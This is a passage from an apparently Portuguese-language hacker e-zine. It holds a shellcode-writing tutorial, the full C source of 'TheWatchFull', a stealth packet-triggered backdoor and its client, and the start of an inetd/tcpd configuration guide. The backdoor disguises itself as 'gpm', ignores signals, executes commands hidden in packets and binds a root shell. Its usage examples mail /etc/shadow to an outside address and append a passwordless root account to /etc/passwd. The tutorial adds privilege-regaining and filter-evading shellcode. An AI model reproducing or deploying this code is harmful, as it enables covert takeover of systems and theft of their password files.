AX = 0x04 (write)
BX = int fd
CX = const void *buf
DX = size_t count
E entao executar a syscall (int $0x80).

Como queremos escrever a mensagem na tela, podemos adiantar que nosso
BX sera 1 (stdout). A string (*buf) e o tamanho (count) serao passados
como argumento para a funcao.
Agora, voce ja deve ter em mente parte do code em asm... entao vamos ir
por partes.

A primeira coisa a se fazer qdo inicia-se uma funcao eh sempre:
1. Criar um return address (pelo qual a funcao ira retornar) e joga-lo
na stack;
2. Atualizar o Base Pointer(%ebp) com o valor do Stack Pointer(%esp).
Para isso bastam 2 linhas simples:

push %ebp //Passo 1
movl %esp, %ebp //Passo 2

Em seguida deveriamos fazer alguns calculos sobre o Stack Pointer (%esp)
para as variaveis locais da funcao. Como nossa funcao nao ira necessitar
variaveis locais, iremos pular esta parte.

Proximo passo: Atualizar os registradores para a chamada ao write();
xorl %eax, %eax //eax = 0
movl %eax, %ebx //ebx = 0
movb $0x04, %al //eax = 0x04
inc %ebx //ebx = 0x01

Note que talvez eu nao tenha usado as mesmas rotinas que voce imaginou,
mas lembre-se que estamos lidando com shellcode e portanto, nao podemos
deixar que nossa string tenha nenhum 0x00.
Para isso evite mover valores pequenos diretamente a registradores.
Como por exemplo: movl $0x04, %eax
Foi substituido por: xorl %eax, %eax
movb $0x04, %al
Quem nao esta familharizado com asm (nao deveria nem estar lendo esta
materia) os registradores eax, ebx, ecx, edx podem ser acessados por suas
partes altas (ah, bh, ch, dh) e baixas (al, bl, cl, dl).
Para evitar 0x00 acostume-se a zerar os registradores com xorl e mover
dados para suas partes baixas. Qdo o valor for movido de outro registrador
ou um valor de 4bytes nao tera problemas.

Voltando a nossa funcao... faltaram 2 registradores (cx e dx). Estes
registradores serao passados por argumentos na funcao. Entao colocaremos
eles em ordem de chamada. O primeiro argumento deve ser a string (que sera
colocada em cx) e o segundo sera o tamanho da string (colocada em dx).
Sendo assim, qdo a funcao for chamada o programa executara o seguinte
(isso nao faz parte do nosso codigo):
push <tamanho da string>
push <endereco da string>
call <nossa funcao>

Para pegarmos estes argumentos da stack, devemos fazer alguns calculos
sobre o Base Pointer (%ebp).
Atualmente o Base Pointer (%ebp) aponta para o return address (a
ultima coisa q foi jogada na stack). Porem qdo usado a instrucao call
para chamar a funcao, tambem foi jogado na stack o endereco da proxima
instrucao a ser executada qdo a funcao retornar.
Como cada endereco de memoria possui 4 bytes, temos ao total 8 bytes
na stack antes de nossos argumentos. Portanto para move-los da stack para
os registradores faremos:

movl 0x08(%ebp), %ecx //move o endereco da string para ecx
movl 0x0c(%ebp), %edx //move o tamanho da string para edx

Pronto! Os registradores estao todos com seus valores... agora basta
executar a syscall e retornar da funcao...
int $0x80
leave
ret

Juntando tudo, temos nosso code completo:

<++> shellcode/asm-write1.c
int main() {
__asm__(" push %ebp
movl %esp, %ebp
xorl %eax, %eax
movl %eax, %ebx
movb $0x04, %al
inc %ebx
movl 0x08(%ebp), %ecx
movl 0x0c(%ebp), %edx
int $0x80
leave
ret
"
);
}
<-->

Vamos pegar nossa string agora...

[root@struck sc]# gcc asm-write1.c -o asm-write1
[root@struck sc]# gdb asm-write1
[...]
(gdb) disass main
Dump of assembler code for function main:
0x80483b4 <main>: push %ebp
0x80483b5 <main+1>: mov %esp,%ebp
0x80483b7 <main+3>: push %ebp
0x80483b8 <main+4>: mov %esp,%ebp
0x80483ba <main+6>: xor %eax,%eax
0x80483bc <main+8>: mov %eax,%ebx
0x80483be <main+10>: mov $0x4,%al
0x80483c0 <main+12>: inc %ebx
0x80483c1 <main+13>: mov 0x8(%ebp),%ecx
0x80483c4 <main+16>: mov 0xc(%ebp),%edx
0x80483c7 <main+19>: int $0x80
0x80483c9 <main+21>: leave
0x80483ca <main+22>: ret
0x80483cb <main+23>: leave
0x80483cc <main+24>: ret
0x80483cd <main+25>: lea 0x0(%esi),%esi
End of assembler dump.
(gdb) x/20xb main+3
0x80483b7 <main+3>: 0x55 0x89 0xe5 0x31 0xc0 0x89
0xc3 0xb0
0x80483bf <main+11>: 0x04 0x43 0x8b 0x4d 0x08 0x8b
0x55 0x0c
0x80483c7 <main+19>: 0xcd 0x80 0xc9 0xc3


Ae esta! Agora vamos testa-la...

<++> shellcode/sc-write1.c
char sc[] =
"\x55\x89\xe5\x31\xc0\x89\xc3\xb0\x04\x43"
"\x8b\x4d\x08\x8b\x55\x0c\xcd\x80\xc9\xc3";

void print(char *str) {
void (*exec)(char *s, int l) = (void *) sc;
exec(str, strlen(str));
}
main() {
print("hello\n");
}
<-->

Aki temos a funcao print() como interface para nosso shellcode. Note
que declaramos o ponteiro para a funcao com os dois argumentos que serao
usados pelo code assemblico.
Vamos depurar este programa para ver se nosso calculo com o ebp foi
correto e o shellcode realmente moveu os argumentos para os registradores
e nao "lixo"...

[root@struck insec]# gdb sc-write1
[...]
(gdb) disass print
Dump of assembler code for function print:
0x80483e4 <print>: push %ebp
0x80483e5 <print+1>: mov %esp,%ebp
0x80483e7 <print+3>: sub $0x14,%esp
0x80483ea <print+6>: push %ebx
0x80483eb <print+7>: movl $0x8049494,0xfffffffc(%ebp)
0x80483f2 <print+14>: add $0xfffffff8,%esp
0x80483f5 <print+17>: add $0xfffffff4,%esp
0x80483f8 <print+20>: mov 0x8(%ebp),%eax
0x80483fb <print+23>: push %eax
0x80483fc <print+24>: call 0x80482f0 <strlen>
0x8048401 <print+29>: add $0x10,%esp
0x8048404 <print+32>: mov %eax,%eax
0x8048406 <print+34>: push %eax
0x8048407 <print+35>: mov 0x8(%ebp),%eax
0x804840a <print+38>: push %eax
0x804840b <print+39>: mov 0xfffffffc(%ebp),%ebx
0x804840e <print+42>: call *%ebx
0x8048410 <print+44>: add $0x10,%esp
0x8048413 <print+47>: mov 0xffffffe8(%ebp),%ebx
0x8048416 <print+50>: leave
0x8048417 <print+51>: ret
End of assembler dump.

Note que eh nesta linha que o programa chama o shellcode:
0x804840e <print+42>: call *%ebx

Portanto iremos repetir os passos dados qdo traduzimos o shellcode
anterior. Vamos colocar um breakpoint nesta linha, executar e qdo o
programa parar vemos o endereco que aponta %ebx.

(gdb) break *print+42
Breakpoint 1 at 0x804840e
(gdb) run
Starting program: /root/sc/sc-write1
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.

Breakpoint 1, 0x804840e in print ()
(gdb) info reg ebx
ebx 0x8049494 134517908
(gdb) disass 0x8049494
Dump of assembler code for function lamecode:
0x8049494 <sc>: push %ebp
0x8049495 <sc+1>: mov %esp,%ebp
0x8049497 <sc+3>: xor %eax,%eax
0x8049499 <sc+5>: mov %eax,%ebx
0x804949b <sc+7>: mov $0x4,%al
0x804949d <sc+9>: inc %ebx
0x804949e <sc+10>: mov 0x8(%ebp),%ecx
0x80494a1 <sc+13>: mov 0xc(%ebp),%edx
0x80494a4 <sc+16>: int $0x80
0x80494a6 <sc+18>: leave
0x80494a7 <sc+19>: ret
End of assembler dump.
(gdb)


Ae esta nossa criacao!!! Continuando nossa depuracao, colocaremos outro
breakpoint na linha <sc+16>. Assim, antes do syscall ser executado,
poderemos verificar se os registradores estao todos com seu valores
corretos.


(gdb) break *0x80494a4
Breakpoint 2 at 0x80494a4
(gdb) cont
Continuing.

Breakpoint 2, 0x80494a4 in sc ()
(gdb) info reg eax ebx ecx edx
eax 0x4 4
ebx 0x1 1
ecx 0x8048480 134513792
edx 0x6 6
(gdb) x/6bc 0x8048480
0x8048480 <_IO_stdin_used+4>: 104 'h' 101 'e' 108 'l' 108 'l' 111 'o' 10 '\n'
(gdb)


Ok. Estao todos com seus valores corretos. Execute o programa para
verificar seu perfeito funcionamento...

[root@struck insec]# ./sc-write1
hello

Voalah!
Como pode-se perceber por esta secao, shellcodes podem ser criados a
partir de qquer codigo assembly. No caso, criamos uma funcao de 2
argumentos e ele funcionou sem problemas.
Pode-se exploitar com shellcodes que executam um programa inteiro. Tudo
depende da paciencia do programador em saber construir o programa e saber
depura-lo atras de um erro q pode ocorrer.
As tecnicas demonstradas ateh aqui servem para facilitar sua vida qdo
estiver depurando um shellcode atras de um bug.




------------------------------------------------------------------------
SHELLCODE do write()
####################

Este exemplo servira apenas para demonstrar como utilizar strings em um
codigo assembly, organizando-a apos o code. Tecnica usada em todos os
shellcodes que necessitam strings (ex execve).
Como vimos antes, a syscall write() deve ser chamada da seguinte forma:

mov $0x04, %eax
mov <stream>, %ebx
mov <string>, %ecx
mov <tamanho>, %edx
int $0x80

Adiantando que queremos que nosso shellcode exiba a mensagem "alou!"
(5 bytes) na tela (stdout == 1). Podemos comecar a escrever nosso code
atualizando os valores dos registradores ax,bx e dx.

xorl %eax, %eax //ax=0
movl %eax, %ebx //bx=0
movl %eax, %edx //dx=0
movb $0x04, %al //ax=4 [ write() ]
inc %ebx //bx=1 [ stdout ]
movb $0x06, %dl //dx=6 [ tamanho ]

Note que as instrucoes dadas deixaram o code maior e ira gerar maior
processamento, porem nao havera' nenhum caractere 0x00 quando se
transformar esse code em uma string.
Para pegar a string usaremos um metodo classico:

<code>
jmp <code+33>
<code+4>
<code...>
<code+32>
call <code+4>
.string \"alou!\"

O que foi feito aqui eh bem simples de se entender. Em certo ponto do
code em que se necessita a string, colocamos um jmp para o fim do code, ou
melhor, para a ultima instrucao do code. Esta devera ser um call chamando
de volta a onde o code foi interrompido pelo jmp.
Lembra que o call coloca na stack o endereco que vem depois de sua
chamada? O que segue ele aki eh uma string, portanto teremos empilhado na
stack o endereco da string.
Apos isso basta fazer:

pop %ecx //Pega o endereco da string da stack
int $0x80
movl %ebx, %eax //ax=1 [ exit() ]
xorl %ebx, %ebx //bx=0 [ status ]
int $0x80

Apos executarmos o syscall write() chamamos o exit() para que o
programa acabe normalmente.
Passando tudo para um unico code assembly ficara:

<++> shellcode/asm-write2.c
int main() {
__asm__(" xorl %eax, %eax
movl %eax, %ebx
movl %eax, %edx
movb $0x04, %al
inc %ebx
movb $0x06, %dl

nop

pop %ecx
int $0x80
movl %ebx, %eax
xorl %ebx, %ebx
int $0x80

nop
.string \"
alou!\"
"
);
}
<-->

Nota importante: 2 nops foram colocados no code. Eles estao
temporariamente substituindo as instrucoes jmp e call, pois temos que
fazer alguns calculos com elas antes de chama-las.

[root@struck sc]# gcc asm-write2.c -oasm-write2
[root@struck sc]# gdb asm-write2
[...]
(gdb) disass main
Dump of assembler code for function main:
0x80483b4 <main>: push %ebp
0x80483b5 <main+1>: mov %esp,%ebp
0x80483b7 <main+3>: xor %eax,%eax
0x80483b9 <main+5>: mov %eax,%ebx
0x80483bb <main+7>: mov %eax,%edx
0x80483bd <main+9>: mov $0x4,%al
0x80483bf <main+11>: inc %ebx

0x80483c0 <main+12>:    mov    $0x6,%dl 
0x80483c2 <main+14>: nop
0x80483c3 <main+15>: pop %ecx
0x80483c4 <main+16>: int $0x80
0x80483c6 <main+18>: mov %ebx,%eax
0x80483c8 <main+20>: xor %ebx,%ebx
0x80483ca <main+22>: int $0x80
0x80483cc <main+24>: nop
[...]
(gdb) x/22bx main+3
0x80483b7 <main+3>: 0x31 0xc0 0x89 0xc3 0x89 0xc2 0xb0
0x04
0x80483bf <main+11>: 0x43 0xb2 0x06 0x90 0x59 0xcd 0x80
0x89
0x80483c7 <main+19>: 0xd8 0x31 0xdb 0xcd 0x80 0x90
(gdb)

Ja temos parte de nosso shellcode.
Vou organiza-lo direito, separando cada cadeia de caractere a seu
respectivo comando para poder depois saber de quantos bytes deve ser o
pulo (jmp) e a chamada de volta (call).

char sc[] =
"\x31\xc0" //xorl %eax, %eax
"\x89\xc3" //movl %eax, %ebx
"\x89\xc2" //movl %eax, %edx
"\xb0\x04" //movb $0x04, %al
"\x43" //inc %ebx
"\xb2\x06" //movb $0x06, %dl
"\x90" //nop
"\x59" //pop %ecx #1byte
"\xcd\x80" //int $0x80 #2bytes
"\x89\xd8" //movl %ebx, %eax #2bytes
"\x31\xdb" //xorl %ebx, %ebx #2bytes
"\xcd\x80" //int $0x80 #2bytes
"\x90" //nop #5bytes (call)
"alou!\n"
;

Agora devemos substituir os nops por suas devidas funcoes.
Do primeiro nop para o segundo sao 9 bytes (1+2+2+2+2).
Como o segundo nop referencia a um call (q tem 5 bytes), para retornar
sao os 9 bytes + 5 do call. Total: -14 bytes.
Espero que voce ainda se lembre de como converter numeros negativos
decimais em hexadecimais... =) -14 equivale a 0xfffffff2.
As seguintes funcoes tem como equivalencia as strings:

funcao: string:
jmp +9 "\xeb\x09"
jmp +11 (0x0b) "\xeb\x0b"
jmp +256 (0xff) "\xeb\xff"

call -14 (0xfffffff2) "\xe8\xf2\xff\xff\xff"
call -15 (0xfffffff1) "\xe8\xf1\xff\xff\xff"
call -16 (0xfffffff0) "\xe8\xf0\xff\xff\xff"
call -257 (0xfffffeff) "\xe8\xff\xfe\xff\xff"

Se voce prestar um pouco de atencao logo vai encontrar uma logica.
Estas sao as unicas funcoes que voce tera que colocar no code direto
na forma de string. Pois elas nao sao interpretadas da forma correta em
code asm.
Como soh faltava essas 2 funcoes para completar o shellcode, basta
substitui-las agora no lugar dos nops e voalah...

<++> shellcode/sc-write2.c
char sc[] =
"\x31\xc0" //xorl %eax, %eax
"\x89\xc3" //movl %eax, %ebx
"\x89\xc2" //movl %eax, %edx
"\xb0\x04" //movb $0x04, %al
"\x43" //inc %ebx
"\xb2\x06" //mov $0x06, %dl
"\xeb\x09" //jmp $0x09
"\x59" //pop %ecx 1byte
"\xcd\x80" //int $0x80 2bytes
"\x89\xd8" //movl %ebx, %eax 2bytes
"\x31\xdb" //xorl %ebx, %ebx 2bytes
"\xcd\x80" //int $0x80 2bytes
"\xe8\xf2\xff\xff\xff" //call -0xf2 5bytes
"alou!\n";

main() {
void (*exec)() = (void *) sc;
exec();
}
<-->

Pronto! Compile, execute, depure, brinque bastante com este e outros
shellcodes ateh q voce domine este assunto.





------------------------------------------------------------------------
ADVANCED SHELLCODES
###################

Nao vou explicar novamente como criar um execve_shellcode, pois isso
eh o que voce mais vai encontrar por ae. Portanto como ultima secao desta
materia vou dar uma explicacao sobre como criar shellcodes que derrubem
"resistencias" do programa a ser exploitado.

Como primeiro exemplo temos o caso de programas que usam setuid(),
setgid() antes do overflow ocorrer. Caso voce use um simples shellcode
execve, apenas sera chamada uma nova shell sem uid=0.
Basta chamar as respectivas syscalls setuid() e setgid() novamente
para voltar a ser root. Sintaxe dos syscalls:

int setuid(uid_t uid)
AX = 23 (0x17)
BX = uid

int setgid(gid_t gid)
AX = 48 (0x2e)
BX = gid

No execve_shellcode adicione as linhas:

"\x31\xc0" //xorl %eax, %eax
"\x89\xc3" //movl %eax, %ebx
"\xb0\x17" //movb $0x17, %al
"\xcd\x80" //int $0x80 _setuid
"\xb0\x2e" //movb $0x2e, %al
"\xcd\x80" //int $0x80 _setgid


Quase sempre um problema em exploitar algum programa pode ser resolvido
com mudancas no shellcode como visto acima.

O antigo exploit do imapd tinha alguns problemas ae ser rodado. Nos
primeiros testes com o exploit, verificou-se que o programa caia ao tentar
executar "/BIN/SH". O problema era que o imapd faz conversoes de todos os
caracteres para maiusculo, sendo assim qdo passavam "/bin/sh" junto ao
shellcode ele tb era convertido para maiusculo.
A solucao mais do que obvia era encriptar o /bin/sh com diminuindo 20
do valor hexadecimal de cada caractere. Assim o imapd na interpretara mais
o "/bin/sh" como string. Durante a execucao do shellcode, para descriptar,
era feito:

[...]
popl %esi
addb $0x20,0x1(%esi)
addb $0x20,0x2(%esi)
addb $0x20,0x3(%esi)
[...]

Ou um loop fazendo o mesmo.
Este metodo tambem serve para criptografar o shellcode para passar por
filtros contra exploits.

Outro problema classico eh o dos ftpds. Exploits para wuftpd, proftpd,
etc, que exploitam por contas anonymous/ftp devem conter shellcodes com
syscall a chroot() para obter acesso a todo o sistema quando ganhar a
rootshell. Isso porque voce ja deve ter percebido que logins anonymous tem
permissoes restritas aos diretorios do sistema, "aprisionando" o usuario
em um diretorio reestrito (ex. "/home/ftp").

Em alguns casos eh preciso bindar uma porta, ou fazer um telnet reverso
para obter shell no sistema. Esse eh o caso de exploits para daemons de
udp ou que nao estabilizam uma conexao em tcp. Se voce pensa que eh
impossivel fazer isso em asm in-line, de uma olhada nos exploits de bind.

Tambem eh comum encontrar exploits com shellcodes que ja colocam
backdoores no sistema usando syscalls de open/write no "/etc/passwd" para
inserir contas roots, ou que criam suidbacks usando execve().






------------------------------------------------------------------------

Acho que isso eh tudo.
Nao quis me aprofundar muito nos bind_shellcodes nem em outros por pura
falta de tempo para concluir essas materias. O assunto poderia ir mais
longe porem deixa isso para proximas publicacoes.

BIBLIOGRAFIA:
CHEAT, S. Struck's Brain. 21/jan/2001 RS imbeh.










_xXXXP^'' ``^YXXXx_
_xXXXXP~ 07 - TheWatchFull (TWF) ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~

Esta eh minha mais nova backdoor. Bem... a minha mais nova backdoor
publicada claro. Voce indica um protocolo que a backdoor ficara
"vigiando".
Quando a senha "STRUCK0WN" (pode ser alterada no source) for
encontrada, a backdoor executa o comando de shell q vier em seguida. No
lugar de um comando, voce pode colocar funcoes especiais da backdoor que
servem para bindar uma porta (BINDME), ou desligar a backdoor (TURNOFF),
ou apaga-la(DELETEME).
A backdoor suporta os protocolos tcp, icmp e udp. Para enviar pacotes
icmp e udp voce pode usar o programa sendp.c que coloquei junto a back.
Para o protocolo tcp, basta que voce conecte-se em qquer porta aberta no
server e digite "STRUCK0WN <comando>" para que o comando seja executado.
Veja um exemplo:

[root#struck twf]# ./watch
[root@struck twf]# telnet 0 7374
Trying 0.0.0.0...
telnet: Unable to connect to remote host: Connection refused
[root@struck twf]# telnet 0 21
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
220 struck.machine FTP server (Version wu-2.6.0(1) Sat Sep 20 06:03:41 BRT
2003) ready.
STRUCK0WN BINDME
530 Please login with USER and PASS.
quit
221 Goodbye.
Connection closed by foreign host.
[root@struck twf]# telnet 0 7374
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
bash#

Voalah! Essa back sera bem util caso voce saiba como usa-la. Ela nao eh
facilmente detectada pois na deixa nada aberto e tambem eh bastante
pratica pois voce pode executar comandos por uma shell ou diretamente pela
backdoor caso precise atualizar alguma coisa.... como por exemplo:

[root@struck New Folder]# telnet 0 110
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
+OK struck.machine POP3 Server (Version 1.006d) ready at <Tue Feb 26
16:02:45 2002>
STRUCK0WN cat /etc/shadow | mail cheat@struck.8m.com
-ERR Invalid command; valid commands: USER, APOP, QUIT
QUIT
+OK struck.machine POP3 Server (Version 1.006d) shutdown.
Connection closed by foreign host.
[root@struck New Folder]#

Para se atualizar do arquivo de senhas da maquina.
Nos comentarios do programa ha mais alguns exemplos de uso...



<++> twf/watch.c
/* TheWatchFull v0.2 (server)
by Cheat Struck <cheat@struck.8m.com>

TheWatchFull eh um novo tipo de backdoor criado por mim.
O Programa "observa" todos os pacotes enviados para o servidor atravez
do protocolo especificado (icmp, tcp, udp). Ao identificar uma senha
pre-definida em um dos pacotes, o conteudo eh executado.
O conteudo do pacote pode ser um comando de shell ou um comando
especial que sera interpretado pelo TWF.

Comandos especiais:
^^^^^^^^^^^^^^^^^^
TURNOFF <----- Desliga a backdoor.
DELETEME <----- Desliga e deleta a backdoor.
BINDME <----- Abre Shell na porta 7374.

Como usar:
^^^^^^^^^
hostvuln# gcc tback.c -otback
hostvuln# ./tback

(TCP)
local$ telnet hostvuln 80
Trying 205.178.180.190...
Connected to www.securitynetworks.com.
Escape character is '^]'.
STRUCK0WN echo "struck::0:0::/:/bin/sh" >> /etc/passwd
Connection closed by foreign host.

(ICMP)
local$ gcc sendp.c -osendp
local$ ./sendp 1 BINDME
sent 15 bytes to x.x.x.x
local$ telnet hostvuln 7374
Trying x.x.x.x...
Connected to hostvuln.
Escape character is '^]'.
hostvuln#

(UDP)
local$ ./sendp 17 "killall inetd"
sent 22 bytes to x.x.x.x
local$ telnet hostvuln 80
Trying x.x.x.x...
telnet: Unable to connect to remote host: Connection refused

*/

#define PASSWORD "STRUCK0WN"
#define FAKENAME "gpm"
#define PROTOCOL 6 //1=ICMP
//6=TCP
//17=UDP
#define SIZE 4096

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int make_bind(struct in_addr addr);

int main(int argc, char *argv[]) {
struct sockaddr_in fr0m;
int tam, s0ck, i;
char pkt[SIZE], id[SIZE], cmd[SIZE], realname[SIZE];
pid_t pid;

pid = fork();
if (pid != 0) {
exit(0);
}

strncpy(realname,argv[0],strlen(argv[0]));
memset(argv[0], 0x00, strlen(argv[0]));
strncpy(argv[0], FAKENAME, strlen(FAKENAME));

for(i=1; i<=31 ; i++)
signal(i, SIG_IGN);

if ((s0ck = socket(AF_INET, SOCK_RAW, PROTOCOL)) == -1) return 0;

for(;;) {

memset(&pkt,0x00,sizeof(pkt));
tam = sizeof(fr0m);
if(recvfrom(s0ck,pkt,sizeof(pkt),0,(struct sockaddr *)&fr0m,&tam) == -1)
exit(0);

for(i=0; i<SIZE; i++) {
memset(&id,0x00,sizeof(id));
sscanf(&pkt[i], "%s%*c%*s", id);

if(!strncmp(id,PASSWORD,strlen(PASSWORD))) {
memset(&cmd,0x00,sizeof(cmd));
sprintf(cmd,"%s",&pkt[i+strlen(PASSWORD)+1]);

if (PROTOCOL == 6) cmd[strlen(cmd)-2] = '\0';

/* Ztart the Special Commands */
dup2(s0ck,0); dup2(s0ck,1); dup2(s0ck,2);
if(!strncmp(cmd,"TURNOFF",7))
exit(0);
else if(!strncmp(cmd,"DELETEME",8)) {
remove(realname);
exit(0); }
else if(!strncmp(cmd,"BINDME",6))
make_bind(fr0m.sin_addr);
else system(cmd);
break;
}
}
}
}

int make_bind(struct in_addr addr) {
int sock, remote;
struct sockaddr_in sa, client;
pid_t pid;

pid=fork();
if(pid == 0) {

if((sock=socket(AF_INET, SOCK_STREAM, 0)) == -1) exit(0);
sa.sin_addr = addr;
sa.sin_family = AF_INET;
sa.sin_port = htons(7374); //TETA
memset(&(sa.sin_zero),0x00,8);

if(bind(sock, (struct sockaddr *) &sa, sizeof(sa)) == -1) exit(0);
if(listen(sock,1) == -1) exit(0);
if((remote=accept(sock, (struct sockaddr *) &client, \
(socklen_t *) sizeof(client))) == -1) exit(0);

dup2(remote,0); dup2(remote,1); dup2(remote,2);
execl("/bin/sh", "sh", "-i", 0);

close(sock);
exit(0);
}
return(0);
}
<-->



<++> twf/sendp.c
/* TheWatchFull v0.2 (client)
by Cheat Struck <cheat@struck.8m.com>

$ gcc sendp.c -osendp
$ ./sendp 1 "echo muahahaha >> /etc/issue"


Este programa envia pacotes identificados para o TWF servidor.
O programa suporta 3 tipos de protocolos (icmp, tcp, udp) o qual deve
ser especificado na linha de comando.
O endereco da maquina (somente ips) deve ser especificado no source do
programa assim como a senha utilizada no servidor.

Nota: verifique se o numero do protocolo equivale ao mesmo no arquivo
/etc/protocols. Se nao for o mesmo utilize o numero especificado neste
arquivo.

*/

#define ATACK "127.0.0.1" //Host onde esta rodando theWatchFull
#define PASSWORD "STRUCK0WN"

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>


int main(int argc, char *argv[]) {
int sockfd;
struct sockaddr_in ina;
int numbytes, protocol;
char pkt[4096]="";

if(argc < 3) {
printf("Use: %s <protocol> <comando>\n",argv[0]);
printf(" -protocol: 1(ICMP), 6(TCP), 17(UDP)\n");
exit(1);
}
if(strlen(argv[2]) > 4090) {
printf("Buffer overflow!\n");
exit(1);
}


protocol = atoi(argv[1]);
sprintf(pkt,"%s %s", PASSWORD, argv[2]);
if(protocol == 6) strcat(pkt," ");


if ((sockfd = socket(AF_INET, SOCK_RAW, protocol)) == -1) {
printf("err0: socket()\n");
exit(1);
}

ina.sin_family = AF_INET;
ina.sin_addr.s_addr = inet_addr(ATACK);
bzero(&(ina.sin_zero), 8);

if ((numbytes=sendto(sockfd, pkt, strlen(pkt), 0,
(struct sockaddr *)&ina, sizeof(struct sockaddr))) == -1) {
printf("err0: sendto()");
exit(1);
}

printf("sent %d bytes to %s\n",numbytes,inet_ntoa(ina.sin_addr));

}
<-->











_xXXXP^'' ``^YXXXx_
_xXXXXP~ 08 - Inetd e Tcpd ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~


Topicos:
1. INETD
1.1 INETD.CONF
1.2 INTERNAL SERVICES
1.3 REINICIANDO
2. TCPD
2.1 LOGS
2.2 CONTROLE DE ACESSO
2.2.1 ARQUIVOS DE ACESSO
2.2.2 EXEMPLOS DE LISTAS
2.2.3 WILDCARDS
2.2.4 OPCOES EXTRAS
2.2.5 EXPANCOES
2.2.6 EXEMPLOS DE SISTEMAS FECHADOS
2.2.7 EXEMPLOS DE SISTEMAS ABERTOS
2.2.8 EXEMPLOS DE TRUQUES
2.3 TCPDCHK
2.4 TCPDMATCH
3. HACKING
4. SECURITY



1. INETD
##############

Inetd e' o "super-servidor" de servicos de internet utilizado
atualmente pela maioria dos sistemas unix (linux, bsd, sunos,...). Ele
e' chamado durante o boot do sistema e listeneia conexoes para internet
sockets dos servicos que serao rodados no sistema. Quando uma conexao e'
estabelecida ele roda o programa correspondente ao servico.
O inetd tambem pode ser iniciado por linha de comando. Sua sintaxe eh:

inetd [-d] [-R rate] [arquivo de configuracao]

As opcoes sao:
-d Modo debug
-R rate Especifica o numero de vezes que um servico pode ser chamado
por minuto. Por padrao este numero e' 256.




1.1 INETD.CONF
####################

O arquivo de configuracao caso nao especificado sera usado por padrao o
arquivo /etc/inetd.conf. Em muitas distribuicoes este arquivo ja vem
configurado para rodar os servicos mais comuns de um servidor, tais como
ftp, telnet, smtp, pop3 entre outros.
As linhas que configurao o servico possuem 7 campos separados por
espaco ou tab. Estes campos sao:

<nome> <socket> <protocolo> <espera> <usuario> <programa> <argumentos>

Onde:
<nome> Eh o nome do servico que sera rodado. Exs: ftp, telnet,...
Os nomes dos servicos estao listados no arquivo /etc/services
<socket> Tipo de socket que sera' usado. Tal como stream, dgram, raw,
rdm ou seqpacket.
<protocolo> Nome do protocolo em que o servico sera rodado. Ex: tcp, udp.
Os protocolos estao listados no arquivo /etc/protocols.
Os protocolos tcp e udp aceitam a versao do protocolo IP. Para
utilizar IPv4 com tcp use tcp4; IPv6, tcp6.
<espera> Indica se o inetd deve esperar o programa servidor retornar ou
continuar processando conexoes no socket. Este campo recebe
apenas 2 valores: wait ou nowait.
<usuario> Contem o nome do usuario que ira' rodar o programa servidor.
Junto a este campo pode ser especificado um grupo para o qual
o programa estara' sendo rodado. O grupo deve ser separado por
um ponto(.) ou dois pontos(:). ex: nobody.tty
<programa> Eh o caminho do programa servidor. ex: /usr/sbin/in.ftpd.
<argumentos> Inicia-se sempre pelo nome do programa, seguindo seus
argumentos aos quais o programa deve ser inicializado.

Alguns exemplos de como ficam as linhas:

ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -a
telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd
pop3 stream tcp nowait root /usr/sbin/tcpd ipop3d


Pelo inetd tambem e' possivel configurar servicos RPC (remote procedure
calls). Pouca coisa muda na sintaxe das linhas de configuracao:

<nome/versao> <socket> <rpc/protocolo> <espera> <usuario> <programa> <args>

O que mudou aqui foi no nome do servico, tambem e' possivel especificar
a versao do servico. A versao pode ser um numero fixo ou um range. O nome
do servico tem que ser um nome valido que esteja no arquivo /etc/rpc.
Quanto ao protocolo: antes de especificar o protocolo deve ter indicado
que o servico de' rpc. Portanto um servico rodando em tcp ficaria "rpc/tcp".
O resto eh tudo igual.




1.2 INTERNAL SERVICES
###########################

Alem destes, o inetd tambem oferece alguns servicos internos nos
protocolos tcp e udp, que podem ser ativados pelo mesmo arquivo de
configuracao. Estes sao:

Echo (port 7): Nada mais que um echo remoto.
echo stream tcp nowait root internal
echo dgram udp wait root internal

Discard (port 9): Ignora (discarta) tudo o que eh enviado.
discard stream tcp nowait root internal
discard dgram udp wait root internal

CharGen (port 19): Gerador de caracteres.
chargen stream tcp nowait root internal
chargen dgram udp wait root internal

DayTime (port 13): Horario em forma legivel a humanos.
daytime stream tcp nowait root internal
daytime dgram udp wait root internal

Time (port 37): Horario legivel `a maquina. Na forma de numero de
segundos desde 1/1/1900.
time stream tcp nowait root internal
time dgram udp wait root internal


Como voce deve ter notado, a diferenca aqui e' que nao eh preciso
indicar o programa servidor nem argumentos, pois quem serve estes servicos
eh o proprio inetd.




1.3 REINICIANDO
#####################

Para desativar algum servico basta comentar a linha (colocando um # no
inicio dela) ou simplesmente deleta-la. Depois disto basta reiniciar o
inetd para que o servico esteje desativado.
Reiniciar o inetd pode ser feito simplesmente enviando um SIGHUP para o
programa ou matando o processo e comeca-lo dinovo.

root@localhost# killall -HUP inetd
ou
root@localhost# killall inetd
root@localhost# inetd





2. TCPD
#############

A maioria dos servicos de internet que sao gerenciados pelo inetd
